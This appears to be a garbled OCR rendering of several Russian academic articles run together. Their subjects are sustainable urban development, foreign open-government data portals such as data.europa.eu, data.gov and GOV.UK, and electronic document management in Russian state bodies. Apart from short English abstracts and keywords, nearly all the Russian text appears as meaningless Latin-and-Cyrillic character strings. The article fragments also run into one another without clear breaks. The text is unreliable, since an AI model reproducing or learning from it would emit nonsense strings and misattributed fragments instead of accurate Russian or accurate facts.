oOecrieynBasi TMpPU OTOM KAUECTBEHHOE YIYUIICHHWE KM3HM TOpPOXKaH. OTa KOHIICTIIUS
aKIEHTHpPYyeT BHUMaHWE Ha HS(O(OEKTUBHOM WCIONB30BAHUM PECYpPCOB, MHUHUMH3AIMHI
HETaTHBHOTO BJIMSHUS Ha OKPYIKAIOIIYIO Cpely U 00eCTIeUeHHH COIUAIbHOM CIIPaBeAJIMBOCTH.

AKTyaJIbHOCTb TEMbI YCTOWYMBOTO Pa3BUTHUS CTAHOBUTCS OCOOEHHO OYEBUIHOM B CBETE
COBPEMEHHBIX BBI30BOB, C KOTOPBIMH CTAJIKMUBAETCS TOPOACKOE MiaHupoBaHue. C yBeIUnYeHUEM
ypOaHU3aIMKN U PACTYIIUM HaCEJICHHEM TOPOJO0B, HEOOXOIUMOCTh B IPUMEHEHUH CTPATErHid 1
METO/IOB, CIOCOOCTBYIOIIMX YCTOMYMBOCTH TOPOACKOH HHQPACTPYKTYPHI, CTAHOBUTCS
HacymHoW.  Od¢¢ekTUBHOE  YNpaBiI€HHWE  TOPOJACKHUMHU  TEPPUTOPHUSIMH,  BHEJIPEHHUE
MHHOBALIMOHHBIX TEXHOJIOTUM M Yy4YacTHE TpakJaH B NPUHATHU PELICHUNM — KIIOYEBbIC
aCIeKThl, CIOCOOCTBYIOIIME CO3JAaHUI0 YCTOMYMBBIX M KOMMOPTHBIX IJISI KU3HU TOPOJIOB.
HccnenoBanne 3TUX CTpAaTEruil 1 METOJIOB MTO3BOJIMUT HE TOJIBKO YJIYUYIIUTh KAYECTBO TOPOJICKON
YKU3HH, HO YU TAPMOHHM3HPOBATH B3AMMO/ICHCTBHE YEJIOBEKA C MIPUPOTHOMN CPEIOH.

Hwmwxke paccMoTpuM TIaBHBIE TPOOJIEMBI, C KOTOPBIMH CTAJKHUBACTCS MPOIECC
YCTOMYMBOIO Pa3BUTUS TOPOJICKUX TEPPUTOPHIA:

OcHoOBHBIE TPOOJIEMBI, C KOTOPBHIMU CTaJIKHUBAIOTCS COBPEMEHHBIE TOpPOJIA, SBIISIOTCA
pe3yiabTaTOM CTPEMHUTENBbHOM ypOaHM3allMM M TJ00aIbHBIX JKOJOTMYECKHX BBI3OBOB.
3arpsi3HEHHE BO3JlyXa W BOJBI, BBI3BAHHOE MPOMBINUICHHBIMU BBHIOPOCAMH M aBTOMOOWIEHBIM
TPAaHCIIOPTOM, CEPHE3HO YTPOXKAET 37I0POBBIO HACENIEHHS U OMocucTeMaM. JTO 3arpsi3HEHHUE He
TOJIBKO CHID)KAET KAa4eCTBO >KU3HHM TOPOKaH, HO M TPeOyeT 3HAYUTENIbHBIX IKOHOMHUYECKHX
3aTpar Ha 3/10pOBbE U BOCCTAHOBJICHHUE YKOCHCTEM.

1.  Jedumur pecypcoB, Takux Kak mpecHas Boma u 3emis. C  pacTymmm
HACEJICHUEM T'OpPOJIOB PECYPChl UCTOUIAKOTCS, © MHOTHE CTPYKTYpPbI HE MOTYT
OTIEPATHBHO aIANITHPOBATHCS K HOBBIM YCJIOBHUSIM, UTO MPHUBOAUT K TSHUIUTY
0a30BbIX KM3HEHHBIX MOTPEOHOCTEH. bBromKeTbl TopojoB yacto He
YUUTBHIBAIOT HEOOXOIUMOCTh YCTOMUMBOTO YIPABICHHUS PECYpCaMH, YTO
yCyryOseT S5KOHOMUYECKUE U COLATBLHBIE TPOOIEMBI.
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2.  CoumanbHOE HEPaBEHCTBO B FOPOACKUX TEPPUTOPHSAX. Y BEIMUYEHUE Pa3phbiBa
MEX/1Y Pa3TMYHBIMU CJIOSMH HACEJICHUSI CKPBIBAET MHOTOCIIOWHBIE MTPOOJIEMBI,
TaKue KakK JOCTYI K Ka4eCTBEHHbIM 00pa30BaHUsIM, MEAUIIMHCKUM yCIyraM U
YCTOHYUBBIM pabOYMM MecTaM. YS3BUMbIE IPYIIIBI YacTO OKa3bIBAIOTCS Ha
000YMHE TMPOrpamMM Pa3BUTHS, YTO CO3JAET JIOTIOJHUTEIbHbIE BbI3OBbI IS
YCTOMYMBOTO YIIPABIICHUS.

3. VYpOanmzamus. BrnusiHne ypOaHHM3aii Ha OKPYKAlOIIYIO CPELy OYEBHIHO.
Pa3pacranue ropooB IpUBOAUT K COKPALICHUIO 3€JIEHBIX IPOCTPAHCTB, YTO
ycyryOssieT mpo0ieMbl U3MEHEeHUsl KITMMaTa U CHIKAeT KaueCTBO TOPOJICKOM
JKOCUCTEMBI. ['yCTOHAcelneHHbIE palOHBl CTAJIKUBAIOTCA C MHOKECTBOM
9KOJIOTUYECKMX OMACHOCTEW, BKJIKOYAs TIOBBIIICHHBIE TEMIEPAaTypbl H
YXYALIEHUE Ka4eCTBa BO3yXa.

Takum 00pazom, MpoOIeMbl YCTOWYMBOTO Pa3BUTUS TOPOJOB TPEOYIOT KOMIUIEKCHOTO
noaxoaa W 3((EeKTHBHBIX cTpaTerwii, HANpaBICHHBIX HAa WX pemieHue. lIpu3HaHmMe 3THX
BbI30BOB CTAaHOBUTCA KPUTHUYECKU BAXKHBIM JUIS JOCTHXKEHUS YCTOWYMBOrO OyAyILEro
TOPOJCKUX TEPPUTOPHI.

Jajiee pacCMOTPUM OCHOBHBIE CTPATErMH YCTOMUMBOIO PA3BUTHA:

VYcroitunBoe pa3BUTHE TOPOJCKUX TEPPUTOPUIl TpeOdyeT KOMIUIEKCHOTO TOAX0[a,
OCHOBAHHOI'O HA HWHTETPALMU 3KOJOTMYECKHUX, COLMAIBHBIX M HKOHOMHYECKHUX AaCIIEKTOB.
OCHOBHBIE ~ CTpaTerud, CIOCOOCTBYIOIME  JOCTIDKEHHIO  OTOW  LENH,  BKIIIOYAIOT
MHOTO()YHKIIMOHAIBHOE HMCIIOJBb30BAHUE MPOCTPAHCTBA, TPAHCIOPTHYIO YCTOHYMBOCTH U
03€JIEHEHHE TOPOJCKOr0 MPOCTPAHCTBA.

1. MHoro()yHKIIMOHAJIbHOE ~ UCTIONIB30BaHUE IPOCTPAHCTBA. ITOT  MOJXO[
CO3JIaeT MHTETPALMIO KUJIbIX, KOMMEPUECKUX U OOLIECTBEHHBIX 30H. JTO, B
CBOIO Ouepesib, MO3BOJIUT CO37aTh Oojiee TApPMOHUYHYIO TOPOJACKYIO Cpeiy,
IJie KUTENIM MOTYT JIETKO MEPEXOIUTh MEX 1y pabounMu MecTaMH, TOMaMHu 1
MECTaMM OT/bIXa, MUHUMU3UPYS BpeMs B IIyTH U CHUXKAsl YIVIEPOJHBIN CIIE].
Takoit momxon cmocoOcTByeT (opmupoBaHuio Ooyiee  aKTUBHBIX U
CIUIOYEHHBIX COOOIIECTB, YBEIMUYMBAET JOCTYIIHOCTh YCIYT M CO3/aeT
MOILHBIM CTUMYJI JUIsl SKOHOMHYECKOTO PA3BUTHSL.

2. TpancnoptHass ycToHuMBOCTb. Pa3BuTHE OOIIECTBEHHOIO TpaHCHOpTa |
BEJIOCUIIEAHON HMH(QPACTPYKTYpbl CHHUYKAE€T 3aBUCUMOCTH OT aBTOMOOWJIEH,
YMEHBIIAET 3arpsA3HCHUE BO3JyXa M YJIydllaeT KauyeCTBO XU3HU KUTEICH.
Co3manue 0Oe30macHBIX W YIOOHBIX MAapUIPYTOB JJsl MEIIEXOJ0B U
BEJIOCUTIEJIICTOB HE TOJBKO CHOCOOCTBYET CHMIKEHHIO BBIOPOCOB YTJIEpOJa,
HO TaKe MOBBIIIAET (PUINUECKYIO AKTUBHOCTh TPA’KAaH U UX BOBJICUEHHOCTh
B OOIIIECTBEHHYIO )KU3Hb.

3. Ozenenenne ropoJckoro mpocrpancTBa. Co3naHue 3€EHBIX 30H, MAPKOBBIX
TEPPUTOPUI U 30H OTAbIXa HE TOJBKO YKPACHT TOpOJ, HO U CHOCOOCTBYET
VIAYYIIEHUIO HKOJIOTMH, CHWKEHHMIO TEMIEpaTyphl BO3AyXa, a TaKKe
yAydllaeT  KayecTBO  BO3AyXa W CIIOCOOCTBYET  COXPaHEHHUIO
6uopazHooOpasus. Takue MHUIMATUBBI TaKkKe 00eCTeUrBaIOT MPOCTPAHCTBO
JUTst OOLIIECTBEHHBIX B3aUMOJICUCTBUMN U OT/AbIXA. [ 1]

Kaxnas u3 9THx cTpaTeruil sBisieTcs HeOOXOAMMBIM ILIArOM JJIsl CO3/IaHHs YCTONUMBBIX
TOPOJCKHX MPOCTPAHCTB, KOTOPbIE CIIOCOOHBI YOBJIETBOPUTH MOTPEOHOCTH HBIHEIIHETO U
OyayIIMX MOKOJIEHUI.

Hakonen, paccMOTpUM METOIBI peaM3allUM  CTPATETHH  YCTOMYMBOIO PA3BUTHS
TOPOJCKUX TEPPUTOPHIA:

Peanuzanust cTpateruii  yCTOMYMBOTO pPa3BUTHSI TOPOJCKUX TEeppUTOpUN TpeOyeT
KOMILJIEKCHOTO TMOJIX0/1a ¥ MIPUMEHEHUS Pa3IMYHbIX METO/I0OB, HAIIPABJICHHBIX Ha () ()eKTUBHOE
JOCTV>KEHHE TIOCTaBJICHHBIX LEJIEH.
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1. I'pamocTponTenibHOE UIAHMPOBAHUE. DTO TMPOLECC, KOTOPHIM BKIIOYAET B
ce0s co3maHMe CTpaTerMid M MPOEKTOB, YYMUTHIBAIOIIMX pa3zHOOOpa3HbIe
aCTIEKTHI TOPOJICKOTO AM3aifHa. YCIIEHIHbIE MPUMEPHI T'PaJOCTPOUTEITHHOTO
TUIAHUPOBAHUS MOXKHO HaOMIOJaTh B TOPOAAX, TJ€ MPUMEHEHB! MPHHIUIIBI
MHTErpalii MHOTO(YHKIIMOHAJIBHOIO HCIOJIb30BaHUS IPOCTPAHCTBA, YTO
CIOCOOCTBYET ONTHMAIILHOMY HCIIOJIb30BAHHIO TEPPUTOPUU U YIIYUIICHHIO
Ka4yecTBa KU3HHU.

2. VYuactue rpaxkgaH B Iporiecce IIaHupoBaHMs. CylECTBYIOT pa3iU4HbIE
MEXaHU3Mbl BOBJICYEHUS] MECTHBIX COOOILECTB, TaKHe KaK OOIECTBEHHBIE
CITyIIaHHs, KOHCYJIbTALMH M OHJIAHH-TIIAT(HOPMBI. DTO HE TOJIIBKO YCHIUBACT
aKTUBHOCTD HUTENEH, HO U TIOMOTaeT YUUTHIBATh UX MHEHHUS U TIOTPEOHOCTH,
YTO B UTOrE IMOBBIIIAET YPOBEHb OOIIECTBEHHOT'O OJOOPEHMS peaTn3yeMbIX
MPOEKTOB. [2]

3. Hcrnonw3oBanue 1udpoBbix TexHoioruil. lludppoBble TexHONOTHM U
reorpadudeckre mHpopmarionasie cucteMbl (I'MC) mo3BosisSIOT aKTUBHO
OTCIIS)KUBATh W3MEHEHHsI B TOPOJCKOM cpejie, aHaIW3UpOBaTh HAaHHBIE O
HACEJICHWH, OCBEUICHHOCTH, 3arps3HEHUU M APYrHX IOKazaTeisx. JDTO AaeT
BO3MOXKHOCTh ~ ONEPATUBHO MPUHUMATh pEIICHUS U KOPPEKTUPOBATH
CTpaTeruv B COOTBETCTBUU C peaIbHBIMU MOTPEOHOCTIMU Topoa. [3]

Takum 00pa3oM, MOXKHO TIOIBECTH MTOT, YTO YCTOWYHMBOE pPAa3BUTHE TOPOIOB
HEBO3MOXKHO 0€3 KOMIUIEKCHOTO TMOAX0/Ja, MHTETPAlU PAa3JIMYHBIX CTpAaTeTHl M aKTUBHOTO
y4acTHs BCEX 3aMHTEPECOBAHHBIX CTOPOH. YCIEIIHOE TIPagOoCTPOUTETHHOE IUIAHHPOBAHUE,
OCHOBaHHO€ Ha TMPUHIUMAX YCTOMYMBOCTH, JEMOHCTPHPYET, Kak MOXHO 3(hGHEKTUBHO
alalTUPOBATh TOPOACKYIO HHPPACTPYKTYPY K MU3MEHSIOUIMMCS YCIOBHSAM. YUYacThe TPaXKIaH B
mpollecce IUIAHUPOBAHUS OOecreurnBaeT YY€T MHEHHH MECTHBIX COOOIIECTB W CO3JaHHe
KOM(OPTHOM TOpOACKOH cpenpl. Mcmonp30BaHHE COBPEMEHHBIX TEXHOJIOTHH, BKIIOYAs
mudpossie pemenuss u cuctembl [MC, urpaer Kio4eByIO pojb B MOHUTOPHUHIE COCTOSHHS
TOPOJCKHX-9KOCHCTEM W YIpaBlIeHWH pecypcamu. [IpakTmdeckoe TNpUMEHEHHE aHHBIX
METO/IOB TpeOyeT BHICOKOTO YPOBHS B3aHMMOJACHUCTBHS MEXIY TOCYJapCTBEHHBIMU OpTaHAMH,
YaCTHBIM CEKTOPOM U HACEJICHUEM.

* k%
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PaccmarpuBaroTcss MoJeNM, 3aKOHOAATENPHBIE OCHOBBI M TEXHHUYECKHUE DPCIICHHS, a TaKke
BO3MOKHOCTHU MX ITPUMEHEHHS JIJIsl COBEPIIICHCTBOBAHUS POCCUICKOM CHCTEMbI YIPABJICHHSI.
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Abstract

The article analyzes foreign experience in managing open government information
resources, including examples from the EU, the USA, the UK, and Denmark. It examines
models, legislative frameworks, and technical solutions, as well as opportunities for their
application to improve the Russian management system.

Keywords: open data, e-government, foreign experience, public administration,
digitalization, information resources.

CoBpemeHHas spa HUPPOBU3ALMN CUCTEMBI FOCYJApPCTBEHHOIO YIPABJIECHUS B CTpaHax
TpeOyeT pa3pabOTKU U MPHUHATHS PEIICHUH, HAMIPABICHHBIX HA CO3/IaHHE HOBBIX MEXaHH3MOB
paboThI ¢ 00111eCTBOM. AKTYaJIbHOCTh TEMbI 00YCIIOBIEHA HEOOXOAMMOCTBIO 3aITyCKa OTKPBITHIX
TOCYAapCTBEHHBIX HMH(OPMAIIMOHHBIX PECYpPCOB, KOTOPBIE TMO3BOJIIOT YyAyYlIaTh KayecTBO
MIPEOCTABISEMbIX YCIYT U MOBBIMATH 3 (HEKTUBHOCTH paboThI OpraHoB BiacTy. MccienoBanue
3apyOe)KHOTO OIMbITa MO3BOJISET BBIIBUTH YCIEIIHYIO MPAKTUKY IO YIPABICHHUIO MOJTOOHBIMU
OTKPBITHIMU UH(DPOPMAIIMOHHBIMU PECypPCaMH.

Llensto  paboThl  SIBISETCS  aHANM3  XapaKTEPUCTUKUA  3apyOeKHOM  MpPaKTUKU
UCTOJIb30BaHMs OTKPBITHIX T'OCYJApCTBEHHBIX WH(POPMALMOHHBIX PpECYpcoB B CUCTEME
00IeCTBEHHOTO yrpaBieHus. [ qocTrKeHHus 3TON Lenu HeoOXOIMMO PEIIUTh CIeIyIoLHe
3aJjaud:  paccMOTpPeTh MoOAenu  (OpMUPOBaHMS  CHUCTEMBbl  YIPABICHHUS  OTKPBITHIMU
rOCYAapCTBEHHBIMU HH(OPMAIIMOHHBIME PECYPCaMU U MIPOAHATM3HPOBATh HANOOJIEE YCTICIITHBIE
MPUMEPHl  yIpaBJIEHUs] TaKUMH pecypcaMd B  MEXKIYHApOJAHOM MpakTuke. MeToasl
MCCIIEIOBaHUS BKITIOUAIOT 00001IeHNE, KITacCU(UKAIINIO, CACTEMAaTH3ALIUIO U aHAIU3.

Pe3ynpTaThl MOKa3bIBAIOT, YTO (POPMUPOBAHUE OTKPBHITOIO MPABUTENHLCTBA U CHCTEMBI
YIIPaBIIEHHUS OTKPHITHIMU TOCYAapCTBEHHBIMU HH()OPMAIIMOHHBIMH CUCTEMaMU MPOUCXOAUT BO
BCEM MHUpE MO pa3HbIM MojensaM. OZHUM M3 MOMYJSPHBIX MOAXOAOB SIBISETCS ONTUMM3ALIUS
OIOJIKETHBIX PACXOJIOB, COKpAIIEHHE aJIMUHHCTPATHUBHOTO ammapara ¥ 4Yuclia padoTaroImmx
ciuyxkamux. Jlpyras rpynma cTpaH OpHEHTHpPYETCSl Ha pelleHHe 3ajay, CBS3aHHBIX C
yAy4IIEHUEM KauecTBa MPEIOCTaBIIEMBIX IOCYAapCTBEHHBIX YCIyr. B pamkax uccienoBaHus
oco00oe BHUMAaHHE YAETIEHO TPeTbell TpymIe CTpaH, KOTOpas XapaKTepuzyeTcs aKTHBHBIM
UCTIONIb30BaHNEM HH()OPMALMOHHO-KOMMYHHMKAIIHOHHBIX TEXHOJOTMH B CO3/aHMU LU(POBOIM
AKOCUCTEMBI JIEATEILHOCTH OpPraHoB BiacTH [1].

B coBpemenHO# TpakTHKe LM(PPOBHU3AIMM TOCYAAPCTBEHHOTO YIIPABICHUS CO3JaH
Wunekc pa3BUTHS 3JEKTPOHHOTO MPaBUTEIbCTBA, KOTOPHIM MO3BOJISET ONpPENEUTh Hauboee
YCIIENIHbIE CTPAaHbl B CO3JAHUU CHUCTEMBI YIPABJICHUS OTKPBHITHIMU WH(POPMAIMOHHBIMU
pecypcamu. K nmupepam otHOcsTcst ctpanbl CkannuHaBuu, Pecriyonmka Kopesi, Hunepmanmsl,
Asctpamus u Hosas 3enannus. Poccust 3annmMaer 42-e Mecto B pelitunre MHuekca pa3BUTHS
AJIEKTPOHHOTO TIPABUTENILCTBA [2].

Amnanu3upyst onbIT J[aHuM, KaK CTpaHbl C HAUBBICIINM IOKa3aTeneM MHnekca pa3BUTHs
AIIEKTPOHHOTO TPABUTEIbCTBA, MOXKHO OTMETHTb, YTO TJIaBHBIM OTKPBITHIM T'OCYAapCTBEHHBIM
MH()OPMAIMOHHBIM pecypcoM siBisieTcst moprain WwWw.stm.dk. Hauano ero passurus natupyercs
2001 romom, a ¢uHaHCHMpOBaHWE cocTaBiasier 57 MiIH eBpo. bmaromaps co3maHHOMR
uH(ppacTpykType odecreunBaeTcs HATMUNE «TU(PPOBON OUTHD) TPAXKAAH VIS TIOTyIESHUS! YCITYyT
onsiaiiH. Ha nmopTasie 3apeructpupoBaHo 17 kareropuid yciyr.

BakHbIM COCTaBISIIOIIMM 3JEMEHTOM HAJEKHOCTH (DYHKIIMOHMPOBAHUS OTKPBITHIX
TOCYAapCTBEHHBIX MH(POPMAITMOHHBIX PECYPCOB SIBIISIETCS UX 3aKOHOAATENILHOE PETYIUPOBAHKE
1 HOpMaTUBHO-TIpaBoBoe obecrieuenue. B Epponeiickom Corose, rae uudposast TpaHchopmanus
HaXOMUTCA B ILEHTPE BHUMaHus, NpuHiATa 1upektuBa 2014/61/EU, ycranaBnuBaromas
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CTaHAApPThl 0€30MacHOCTH JJIi TOCYJapCTBEHHbIX HH(OPMAIMOHHBIX cucTeM. JlaHHas
JMPEKTUBA BKJIIOYAeT NPUHLMUIBI obecriedeHrs HHPOPMALMOHHOM M KuOepOe30macHOCTH
OTKPBITHIX ~HMH(OPMAIIMOHHBIX PECYPCOB TOCYNapCTBa, KOTOpbIE 3aUMCTBYIOT MHOTHUE
€BPOIECHCKUE CTPAHBI.

['maBHBIM TIOpTAIOM OTKpBITHIX JaHHBIX EBpomeiickoro Coro3a sBIsSETCS CaWT
data.europa.eu. EBponelickuii mopTai JaHHBIX NPECTaBIsIeT coOoW MHUIMATHBY EBpomneiickoi
KOMHUCCHH, KIIOYeBOM (DYyHKIMEH KOTOpPOW SIBISETCS CO3JaHHE €IWHOW TOYKHA JOCTyNa K
nyonmuHoi mHpopmanmu. OHa OOBEIMHSET NaHHBIE W3 HAIMOHAIBHBIX, PErHOHANBHBIX U
TEMATUYECKUX MOPTATIOB OTKPHITHIX aHHbIX cTpaH EC, nenTpanbubix HHCTUTYTOB EC 1 cTpan-
napTHEpOB coro3a. [l peanuzanyy 3TOM 3a7auM BHEIPEH CHELHalbHBIA CTaHAApT oOMeHa
Metamanaeivu — DCAT-AP nans mopranoB naHHBIX B EBpome. ANTOPUTMBI MaIMHHOTO
00yueHMs1 00ecTIeunBalOT ePEeBO/I ONMCAHUI HAOOPOB AaHHBIX Ha 24 oduimanbHbIX s3bka EC.
Ha ceromusimamii neHs EBpomeiickuii mopTayi JaHHBIX BKIOYaeT Oomee 1,1 mmumoHa
JlaTaceToB, COOpaHHBIX U3 §1 Karanora JaHHBIX B 36 cTpaHax.

B Coegunennbix IlltaTax BHEOPAIOTCS 3aKOHBI, HAINPABJIICHHBIE HA IOBBILICHHE
JOCTYIHOCTH 3JIEKTPOHHBIX TOCYJApCTBEHHBIX yciyr. OJHMM M3 TAaKMX 3aKOHOJATEIbHBIX
nonoxkernii siBisiercst «Section 508 of the Rehabilitation Act», BBeaeHHOE B paMKax 3aKOHA O
peadmimTanny, KOTOpPO€ YCTaHABIMBAET CTAaHAAPThl JOCTYHNHOCTH  JIEKTPOHHBIX U
MHPOPMALMOHHBIX ~ TEXHOJOrMH Il (eAepalbHbIX  yupekneHud.  VHKII03UBHBIE
roCyJIapCTBEHHBIE YCIIyTH, akTUBHO pa3BuBaroruecs B CIIA yxe 6onee 20 set, cTaau BaXXKHBIM
(bakTopoM, CTUMYIHUPYIOUIMM pa3BUTHE OTKPBITHIX TOCYIAPCTBEHHBIX WH(POPMAIMOHHBIX
pecypcos [3].

Baskueiinmm mopTtagoMm OTKpHITHIX gaHHBIX B CIIIA sBisercs data.gov. DtoT moprain
MPEIOCTAaBISET JOCTYN K pa3sHOoOOpa3HOW WH(popManuy, BKIOYAas KOIbl, WHCTPYMEHTHI H
TEMAaTUYECKUE HCCIIEOBAHUs, CBI3aHHBIE C OTKPHITHIMU AaHHBIMU. [IpoekT ObLn pazpabotaH ¢
LEJIBI0 COAEHUCTBUS TOCYApPCTBEHHBIM OPraHHW3allUsIM B PACKPbITUM MX MHOTEHLMANa IyTeM
nepeBoga WHbopManuu B (opMaT OTKPBITHIX JAHHBIX IS TOCIEAYIOLIETO HMCIONIb30BaHMUS.
Lens mopTana, COriacHO €ro BeO-CaiTy, COCTOMT B PACIIMPEHHWW ITYOJMYHOTO IOCTyNa K
IEHHBIM MAallMHOYUTaeMbIM HabopaM J[aHHBIX, CO3JAaHHBIM HCIOJHHUTENFHOW BJIACTHIO
¢benepanpHOrO MpaBUTENBbCTBA. Data.goV cTpeMuTCsS cTaTh XpaHWIWIIEM BCel WHQOpManuy,
coOHrpaeMoii MpaBUTETLCTBOM.

TexHUYeCKyl0 OCHOBY OJJIEMEHTOB OTKpPBITOTO TIPaBHTENBCTBA B BenmkoOpuTanum
Npe/ICTaBIAeT eAnHbIN npaBuTenbcTBeHHbI nopran GOV.UK. B nactosimee Bpemst Ha 3TOM
ropTaje MpeJCTaBIeHbl TOCYAAPCTBEHHbIE YCIyTd 23 MpaBUTEILCTBEHHBIX JAEMApTaMEHTOB U
MUHHCTEPCTB, a TaKXKe YCIyru 413 Ipyrux rocyiapcTBEHHBIX YUPEKICHUN U HEKOMMEPUYECKUX
OpraHu3aluil ¢ TOCYAapCTBEHHBIM y4acTHeM [4].

Taxke B pamMkax (YHKIIMOHHMPOBAaHHUSI OTKPBITOTO IPABUTENLCTBA B BenukoOputaHun
nericteyer mnpoekt GOV.UK Notify, memsio KoTOporo sBisieTcs OTIpaBKa TpakaaHaM
YBEJOMJIEHHH O COCTOSIHMM OTHENIBHBIX TIOCYJapCTBEHHBIX yciyr. KiroueBsIM nopTanom
OTKPBITHIX JaHHBIX BenukoOputanuu siisiercs cait data.gov.uk. C MoMmeHTa ero co3maHus B
2010 romy maHHBIM WHPOPMALMOHHBIA pecypc IOMOTaeT IOJIb30BATENIIM HAXOIUTh U
UCMOJIb30BaTh ~ OTKPBIThIE  IPABUTENILCTBEHHBIE  JaHHBIE, a TaKkXke MOAJEPKUBAET
NPaBUTEIBCTBEHHBIX M3/aTeNieii B COXpaHeHMM JaaHHbIX. Data.gov.uk mpemocraBnsier Takue
TPYIIbI JAHHBIX, Kak [S]:

. JaHHBbIC, OMMYOJMKOBAaHHBIC IIEHTPAILHBIM IPABUTEIBCTBOM, MECTHBIMH
BJIACTAMM U TOCYAAPCTBEHHBIMHA OPTaHAMU;

. CCBUIKH JJIsl CKAUMBaHUs (PaiiyiOB TaHHBIX;

. TIOMOIIIb B CO3/IaHNUM aKKAyHTa JJIs ITyOIMKAIK JTAHHBIX.

Takum 00pa3oM, MpOAHATM3UPOBAHHBINA 3apYOEKHBIA OIBIT YIPABICHUS OTKPHITHIMU
rOCYAapCTBEHHBIMU MH(POPMALMOHHBIMU PECYPCAMU IEMOHCTPUPYET Pa3HOOOPA3HbIE MOIXOAbI
K PpELICHUIO0 3a/a4, T[OCTAaBICHHBIX B paMKax pealM3alliy KOHIENLIUH «OTKPHITOrO
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npaBUTENIbCTBaY. [Ipu 3TOM ycnemHsle 3apy0ekHble IPAKTUKNA MOT'YT OBbITh 3aMMCTBOBAHBbI JIs
COBEPILEHCTBOBAHMS POCCUNCKOM CUCTEMBI YIIPABIICHUS.
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AHHOTAUA

CraThs aHaMM3UPYET YIPaBICHHUE JJIEKTPOHHBIM JIOKYMEHTOOOOPOTOM B OpraHax
BJIACTH, €T0 POJIb B TMOBBIMICHUH A(PPEKTHBHOCTH W OCHOBHBIC MPOOJIEMBI BHEIAPCHHS.
[ToguepkuBaercss HEOOXOAUMOCTh UUGPOBU3AIMKA M COBEPIICHCTBOBAHMS CHCTEM ISt
TTOBBIIIICHUSI HAJIC)KHOCTH M OE30MTAaCHOCTH.

KiiroueBble ¢j10Ba: IIEKTPOHHBIN JOKYMEHTO000POT, 1] poBU3aLIUs, TOCYIaPCTBEHHOE
yrpasiieHue, 3G GeKTHBHOCT, THHOBAIIMOHHBIE TEXHOJIOTHH, IIH(POBasi IPaMOTHOCTb.

Abstract

The article analyzes the management of electronic document management in
government, its role in improving efficiency and the main problems of implementation. The need
for digitalization and improvement of systems to increase reliability and security is emphasized.

Keywords: electronic document management, digitalization, public administration,
efficiency, innovative technologies, digital literacy.

B coBpemenHoM obmiectBe, re npeodiaaT HuppoBble TEXHOJIOTHH U HH(POPMAIHS,
OyMakKHBIN JTOKYMEHTOOOOPOT TpeOyeT OOJBIIMX 3aTpaT KaK TPYIOBBIX, TaK U (DUHAHCOBBIX H
BpeMeHHBIX. Takas (hopma JeIonpor3BOJICTBA B OpraHax rocyJapcTBEHHOM BIACTH MPUBOJUT K
POCTYy TPYLOEMKOCTH, YBEIMYUBAET BpeMsi 00pabOTKU BXOIIEH U UCXOAALIEH JOKYMEHTALNH,
a TaKk)Ke BJICYET OMACHOCTh B OTHOIICHHM HEMOJYYCHUS TOKYMEHTAIBHOIO MOATBEPXKICHHUS
COBEPILIAEMOM MJIH YK€ COBEPLIEHHOH ONepaly Wik TpeOOBaHMs PyKOBOJICTBA.

Lenbto paboThI ABIAETCS aHATU3 OCOOCHHOCTEH M CHEIM(UKH YIPABICHUS CUCTEMOU
JIEKTPOHHOI'0 JOKyMEHTO000POTa B rOCYJAPCTBEHHOM YIIPABJICHHH.

3agaun HMCCIICNOBAHUS: PACCMOTPETh POJIb YIPABICHUS CUCTEMOH 3IJIEKTPOHHOTO
JOKyMEHTOO0OpOTa B TOCYJAapCTBEHHOM  YIPABJIEHHM; BbIIBUTh IPOOJIEMbl CHCTEMBI
AIIEKTPOHHOT'O JOKYMEHTOO00POTA, C KOTOPHIMU MOTYT CTAJIKUBATHCSI OPraHbl TOCYapCTBEHHON
Biactu Poccun.
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MeTozas! uccienoBanusi: 00001eHne, KTacCu(UKaINs, CHCTEMATH3AIMs U aHAIN3.

Pesynbrarel. Opranuzaius IesSTeIbHOCTH U pabOThl OPraHOB TOCYAapPCTBEHHON BIIACTH
TpeOyeT COOTBETCTBYIONIETO MPOBEACHUS JOKYMEHTOOOOPOTa, KOTOPBIH HEOOXOAUM ISt
MH(POPMALIMOHHOTO U HOPMATHUBHO-TIPaBOBOr0 cHabxeHus. C yd4eToM COBPEMEHHOIO MepHuoja
CTPEMUTEJILHOTO DPAa3BUTUS IM(POBBIX TEXHOJOTUH M WHHOBAIMM, CHCTEMa 3IJIEKTPOHHOTO
JOKYMEHTO0000pOTa CTAHOBUTCS 00SI3aTENBHON HEOOXOIUMOCTHIO, 00ECIIEYHBAIOIIECH BHICOKYIO
3¢ GEeKTUBHOCTD MEpelaun, XpaHEHUSI M O3HAKOMIICHUS C IOKyMEHTalUeH.

ITo muenuro M.A. YepkacoBa, /Uil CMEHBI ITapaIuTMbl FTOCYJAPCTBEHHOTO YIPABJICHUS B
Poccun HeoOXoauMO TNpHBIEKaTh CETEBbIE COOOIIECTBA, MPOKUBAIOIIME HA TEPPUTOPHSIX, C
MPUMEHEHHEM [UQPOBBIX TEXHOJIOTHH MOJEpUPOBATh PA3TUYHBIE KOMMYHHKATHBHBIE
miomaaku [1].

JlaHHBId TyTh K pPa3BUTHIO CHUCTEMBI TOCYIAPCTBEHHOTO YIPABJICHUS IO3BOJISIET
MOBBICUTH APHEKTUBHOCTh KOMMYHUKAIIMOHHBIX CBA3EW U OOILIEHUSI OPraHOB TOCYAapCTBEHHON
BJIACTH MEXIy CcO0OM M C JPYrMMHU BHEIIHHUMHU CTEUKXOJJIEpPaMHU, TAaKUMH KAaK HHCTHTYTHI
MECTHOTO CaMOYIIPaBJICHUs, CyObEeKThl OM3HEca, TPakAaHCKUE OpraHu3allil W HacelleHHe.
Hcnonb3oBaHre  WHHOBAIIMOHHBIX ~ PEMICHWHA  JIII  TMOBBIICHHUS  A(PPEKTHBHOCTH
TOCYAApCTBEHHOTO  YIpAaBJIECHUS apryMEHTUPOBAHO COBPEMEHHBIMH W3MEHEHHSIMU, TJIe
1 poBU3aALIKS KACACTCS KaXKIOW OTpaciy XO3SMCTBEHHON, SKOHOMHUYECKOM, rOCyIapCTBEHHON
1 O0IIIECTBEHHOM JIEITETLHOCTH POCCHUSH.

Omna W3 aKkTyalubHBIX  oOJlacTel  MHHOBAIMOHHOTO  Pa3BUTHS  ammapara
rOCYAapCTBEHHOIO YIpaBlieHUs B opraHax Biactd Poccuu — 310 (popMupoBaHHE CHUCTEMBI
ANIEKTPOHHOTO JOKYMEHTOO0OpOTa. DNEKTPOHHBIA JOKYMEHTOOOOPOT TPEICTABISET COOOH
COBPEMEHHYIO pa3pa0OTaHHYIO CHCTEMY, MpeJHa3HAYeHHYIO AJs OBICTPOro M 0e30MacHOro
